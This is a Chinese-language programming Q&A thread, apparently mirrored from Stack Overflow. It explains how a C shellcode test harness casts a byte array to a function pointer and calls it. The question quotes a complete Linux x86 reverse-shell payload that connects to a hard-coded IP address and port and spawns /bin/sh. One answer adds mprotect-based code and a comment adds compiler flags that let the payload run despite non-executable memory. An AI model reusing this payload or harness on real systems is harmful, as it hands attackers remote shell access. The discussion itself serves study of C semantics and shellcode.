2014-02-22 230 views
2

下面是从shellstorm的代码的副本:int(* ret)()=(int(*)())代码是什么意思?

#include <stdio.h> 
/* 
ipaddr 192.168.1.10 (c0a8010a) 
port 31337 (7a69) 
*/ 
#define IPADDR "\xc0\xa8\x01\x0a" 
#define PORT "\x7a\x69" 

unsigned char code[] = 
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2" 
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a" 
"\x01\x6a\x02\x89\xe1\xcd\x80\x89" 
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68" 
IPADDR"\x66\x68"PORT"\x66\x53\xfe" 
"\xc3\x89\xe1\x6a\x10\x51\x56\x89" 
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe" 
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31" 
"\xc0\x52\x68\x6e\x2f\x73\x68\x68" 
"\x2f\x2f\x62\x69\x89\xe3\x52\x53" 
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd" 
"\x80"; 

main() 
{ 
printf("Shellcode Length: %d\n", sizeof(code)-1); 
int (*ret)() = (int(*)())code; 
ret(); 
} 

谁能帮我解释一下这个 “INT(RET)()=(INT()())代码;” ? 它是如何工作的?为什么它可以使上面的代码运行?

+0

这不是内核代码。所以'linux-kernel'不是合适的标签。 –

+0

将一个字符指针转换为函数指针!现在这是未定义的行为。您只能将函数指针(任何类型)分配给函数指针。 – ajay

回答

7
int(*ret)() 

声明一个名为ret的函数指针;该函数接受未指定的参数并返回一个整数。

(int(*)())code 

code数组转换为相同类型的函数指针。

因此,这将code数组的地址转换为函数指针,然后您可以调用它并执行代码。

请注意,这在技术上是未定义的行为,所以它不以这种方式工作。但这是几乎所有实现编译此代码的方式。这样的外壳码预计不会携带 - code阵列中的字节取决于CPU架构和堆栈帧布局。

+2

+1用于提及未指定数量和类型的参数。许多人错误地认为'int func(void)'和'int func()'是相同的。他们使用'C++'而不是'C'。 – ajay

+0

也将数组转换为函数指针是未定义的行为。不知道我是如何错过它的。 – ajay

+0

我已将关于可移植性的评论添加到答案中。 – Barmar

2
int (*ret)() 

定义函数指针ret作为函数的参数未指定数量返回一个int

... = (int(*)())code; 

连铸unsigned char -array code到的功能ret将提及的类型并将其分配给ret

此呼叫

ret(); 

然后执行存储在code的操作码。

总而言之,这不是一件好事。

4

你应该阅读一本好的C编程书。

int (*ret)()声明一个函数指针返回一个int -without指定参数(在C)

然后= (int(*)())code;与的code铸造地址初始化ret

最后ret();正在调用该函数指针,因此调用您的code数组中的机器代码。编译器(和链接器)可能会将code置于只读但不可执行的段(这可能取决于程序的链接方式)。然后你的shell代码可能无法工作。

+0

1+为必不可少的BTW。 – alk

+0

类型化函数指针在这里是多余的,因为如果'code'具有不同的签名,那么它会导致未定义的行为。 – ajay

+2

它已经是未定义的行为.... –

1
int (*ret)() = (int(*)())code; 

int (*ret)()限定指向它返回int和具有参数未指定数量的功能的指针; (int(*)())code是一个类型转换,让其他部分可以将code作为函数指针,与ret的类型相同。

顺便说一句,取决于code的内容,此代码可能只适用于特定的CPU和操作系统组合,如果它甚至可以工作,并且全部。

1

您的程序将产生未定义的行为。 C99规范,第6.2.5节,第27段表示:

甲指向void应具有相同的表示和对准 要求作为指针为字符类型。同样,指向 兼容类型的合格或不合格版本的指针应具有相同的表示和对齐要求。所有指向 结构类型的指针都应具有相同的表示形式和对齐要求。所有指向联合类型的指针应具有相同的表示和对齐要求。其他类型的指针 不需要具有相同的表示或对齐 的要求。

此外,在节6.3.2.3,第8段,它也表示:

一个指针,指向一个类型的函数可被转换成一个指针到另一个类型和背部的 功能再次;结果应该比较 等于原始指针。

这意味着,因为一个函数指针的大小并不保证是同一个char指针或void指针,你应该不是一个函数指针分配给非函数指针。现在,这些东西,让我们来看看你的代码。

int (*ret)() = (int(*)())code; 

我们先拿lhs。所以它将ret定义为一个指向一个函数的指针,该函数需要一个固定但未知数量和类型的参数(听起来不太好)。在rhs上,您正在键入一个数组code,该数组的结果为一个指向其第一个元素的指针,其类型与ret相同。这是未定义的行为。由于上面解释的原因,只能将函数指针分配给函数指针,而不是指向任何其他类型的指针。另外,由于这个原因,sizeof运算符可能不会正确地应用于函数指针。

C++,空参数列表意味着void,但它意味着没有信息可供核对调用者提供的参数列表,这不是在C的情况。因此您必须明确提及void。因此,假设您现在在程序中定义了一个名为code的函数,那么您应该更好地编写该声明。

int code(void); 
int (*ret)(void) = (int(*)(void))code; 

为了简化对复杂C声明的事情,typedef可能的帮助。

typedef int (*myfuncptr)(void); 

这定义了类型myfuncptrpointer to a function taking no arguments and returning an int类型。接下来,我们可以定义myfuncptr类型的变量,如我们在C中定义任何类型的变量。但请注意,code必须具有与功能ret指向的功能类型相同的签名。如果使用myfuncptr来投射任何其他类型的函数指针,则会导致未定义的行为。因此,这会导致类型冗余。

int code(void); 
int foo(int); 

myfuncptr ret = code; // typecasting not needed. Same as- myfuncptr ret = &code; 
myfuncptr bar = (myfuncptr)foo; // undefined behaviour. 

将函数名赋值给一个指针时,函数名的计算结果是相同类型的函数指针。您不需要使用运营商&的地址。同样,您可以调用指针指向的函数,而不首先对其进行解引用。

ret();  // call the function pointed to by ret 
(*ret)() // deferencing ret first. 

请仔细阅读此内容 - Casting a function pointer to another type。这里有一个很好的资源如何精神分析复杂C声明 - Clockwise/Spiral Rule。 还要注意,C标准规定了只有两个main可接受签名:

int main(void); 
int main(int argc, char *argv[]); 
1

int (*)()是一个指针的类型与原型如下的函数:

int func(); 

由于的方式的语言被解析并且操作符的优先级,必须将星号放在括号中。另外,当声明该类型的指针变量时,变量的名称在星号之后,而不是在类型之后。它不是

int (*)() ret; 

而是

int (*ret)(); 

在你的情况ret变量既被声明,并与参与类型转换初始化。

要调用通过函数指针的函数,你既可以使用更复杂的语法:

(*ret)(); 

或更简洁:

ret(); 

使用前语法是因为它最好向您的代码的读者指示ret实际上是指向函数的指针,而不是函数本身。

现在,原则上说,代码不应该实际工作。 code[]阵列被置于初始化数据段中,在大多数现代操作系统中该数据段不可执行,即呼叫ret();应该产生分段错误。例如。GCC在Linux上放置code变量在.data部分:

.globl code 
    .data 
    .align 32 
    .type code, @object 
    .size code, 93 
code: 
    .string "1\3001\3331...\200" 

,然后.data部分进入非执行读写段:

$ readelf --segments code.exe 

Elf file type is EXEC (Executable file) 
Entry point 0x4003c0 
There are 8 program headers, starting at offset 64 

Program Headers: 
    Type   Offset    VirtAddr   PhysAddr 
       FileSiz   MemSiz    Flags Align 
    PHDR   0x0000000000000040 0x0000000000400040 0x0000000000400040 
       0x00000000000001c0 0x00000000000001c0 R E 8 
    INTERP   0x0000000000000200 0x0000000000400200 0x0000000000400200 
       0x000000000000001c 0x000000000000001c R  1 
     [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] 
    LOAD   0x0000000000000000 0x0000000000400000 0x0000000000400000 
       0x000000000000064c 0x000000000000064c R E 100000 
    vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv 
    LOAD   0x0000000000000650 0x0000000000500650 0x0000000000500650 
       0x0000000000000270 0x0000000000000278 RW  100000 
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
    DYNAMIC  0x0000000000000678 0x0000000000500678 0x0000000000500678 
       0x0000000000000190 0x0000000000000190 RW  8 
    NOTE   0x000000000000021c 0x000000000040021c 0x000000000040021c 
       0x0000000000000020 0x0000000000000020 R  4 
    GNU_EH_FRAME 0x0000000000000594 0x0000000000400594 0x0000000000400594 
       0x0000000000000024 0x0000000000000024 R  4 
    GNU_STACK  0x0000000000000000 0x0000000000000000 0x0000000000000000 
       0x0000000000000000 0x0000000000000000 RW  8 

Section to Segment mapping: 
    Segment Sections... 
    00  
    01  .interp 
    02  .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version 
      .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini 
      .rodata .eh_frame_hdr .eh_frame 
    03  .ctors .dtors .jcr .dynamic .got .got.plt .data .bss 
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
    04  .dynamic 
    05  .note.ABI-tag 
    06  .eh_frame_hdr 
    07  

段缺少可执行的标志,即它只有RW而不是RWE,因此不能从该存储器执行代码。事实上,在存储在code的第一个指令运行中出现故障的程序结果:

(gdb) run 
Starting program: /tmp/code.exe 
Shellcode Length: 92 

Program received signal SIGSEGV, Segmentation fault. 
0x0000000000500860 in code() 
(gdb) up 
#1 0x00000000004004a7 in main() at code.c:27 
27  ret(); 
(gdb) print ret 
$1 = (int (*)()) 0x500860 <code> 

要使其工作,你可以使用的posix_memalignmprotect的组合来分配内存页面,并使其可执行,然后将内容复制code[]有:

// For posix_memalign() 
#define _XOPEN_SOURCE 600 
#include <stdlib.h> 
// For memcpy() 
#include <string.h> 
// For sysconf() 
#include <unistd.h> 
// For mprotect() 
#include <sys/mman.h> 

size_t code_size = sizeof(code) - 1; 
size_t page_size = sysconf(_SC_PAGESIZE); 
int (*ret)(); 

printf("Shellcode Length: %d\n", code_size); 
posix_memalign(&ret, page_size, page_size); 
mprotect(ret, page_size, PROT_READ|PROT_WRITE|PROT_EXEC); 
memcpy(ret, code, code_size); 
(*ret)(); 

还要注意的是shell代码使用int 0x80调用到Linux内核中。如果程序是在64位Linux系统上编译的,那么这将无法即用即用,因为使用了不同的机制来进行系统调用。在这种情况下应该指定-m32以强制编译器生成32位可执行文件。

+0

+1解释在答案的第一部分括号混乱。关于第二部分。使'code []'数组可执行的另一种方法是使用传递给GCC的'-fno-stack-protector -z execstack'标记来编译源文件。 – golem

相关问题